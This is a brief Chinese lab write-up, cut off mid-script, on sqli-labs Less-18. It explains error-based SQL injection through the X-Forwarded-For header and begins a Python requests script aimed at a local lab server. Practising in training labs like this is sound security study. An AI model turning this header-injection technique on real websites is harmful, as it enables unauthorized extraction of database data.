[sqli-labs]Less-18(HTTP头注入(X-Forwarded-For) , 报错注入)
HTTP头注入利用XFF头这里可以利用的原因是:网站将XFF头信息插入数据库,而这个信息是访问者可以控制的同样利用报错注入,将数据回显importrequestsurl="http://127.0.0.1/Less-18/"postDate={'uname':'admin','passwd':'1'}headers={'Accept':'text/html,application/xhtml+xm